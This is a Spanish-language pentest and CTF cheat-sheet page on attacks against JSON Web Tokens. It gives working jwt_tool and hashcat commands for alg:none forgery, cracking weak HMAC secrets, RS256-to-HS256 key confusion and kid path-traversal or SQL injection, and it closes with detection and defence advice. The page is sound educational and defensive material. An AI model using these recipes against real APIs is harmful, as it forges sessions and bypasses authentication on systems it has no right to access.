the_open_door
café
ESEN
← Volver al índice

JWT Attacks

ATT&CKT1606
Arsenal completo de comandos en la cheatsheet

Un JWT (JSON Web Token) es el formato más extendido para mantener una sesión sin estado en APIs. Son tres partes en Base64URL separadas por puntos, cabecera.payload.firma, y siempre empiezan por ey (es el {" inicial codificado). La cabecera dice el algoritmo (alg, típicamente HS256), el payload lleva los datos de la sesión (claims: id de usuario, rol, caducidad exp...) y la firma los sella con una clave que solo el servidor conoce.

El detalle clave es que el payload no está cifrado, solo codificado: cualquiera puede leerlo (pegándolo en jwt.io o decodificando el Base64). Lo que impide falsificarlo es la firma. De ahí salen los abusos habituales:

curl -X GET "http://api.ejemplo.htb/api/v1/admin/list/users" \
     -H "Authorization: eyJhbGciOiJIUzI1NiIs..."

Recetas de forja y crackeo

# 1) alg:none  -> quitar la firma y cambiar el claim (rol/usuario)
python3 jwt_tool.py <JWT> -X a                      # genera variantes alg:none
python3 jwt_tool.py <JWT> -T                        # editar claims interactivamente

# 2) secreto HMAC debil -> crackear offline y firmar el token que quieras
hashcat -m 16500 jwt.txt <rockyou.txt>              # 16500 = JWT (HS256/384/512)
python3 jwt_tool.py <JWT> -C -d <rockyou.txt>       # crackeo con jwt_tool
python3 jwt_tool.py <JWT> -S hs256 -p '<secret>' -T # re-firmar con el secreto hallado

# 3) confusion de algoritmo RS256 -> HS256 (firmar con la CLAVE PUBLICA como secreto HMAC)
python3 jwt_tool.py <JWT> -X k -pk public.pem       # usa la publica del server como clave HMAC

# 4) kid injection: el 'kid' apunta a un fichero/consulta bajo control
#    kid = "../../../../dev/null" -> clave vacia -> firmar con secreto ""
#    kid con SQLi -> devolver una clave conocida

Ver forja con secreto filtrado y forja con JWK embebido y RSA factorizable.

Cómo detectarlo. La manipulación de tokens deja rastro en el servidor: un pico de fallos de validación de firma (JWT rechazados) mientras un mismo cliente prueba variantes es señal de forja o de crackeo del secreto. La cabecera alg: none o un cambio de alg (de RS256 a HS256, ataque de confusión de algoritmo) en un token entrante debe registrarse y alertar: ningún cliente legítimo baja el algoritmo. Un token con un exp absurdamente lejano, o el mismo token reutilizado desde IPs muy dispares, apunta a robo/reutilización. Como el payload es legible, un WAF/gateway puede inspeccionar alg y exp en tránsito. La clave defensiva es loguear y contar los rechazos de firma por origen, no solo aceptarlos silenciosamente.

Defensa. No incrustar tokens en clientes, firmar con secretos largos y aleatorios, rechazar alg: none, emitir caducidades cortas y validar el exp y el rol en el servidor en cada petición.

Herramientashashcatjwt_tool

Máquinas donde se aplica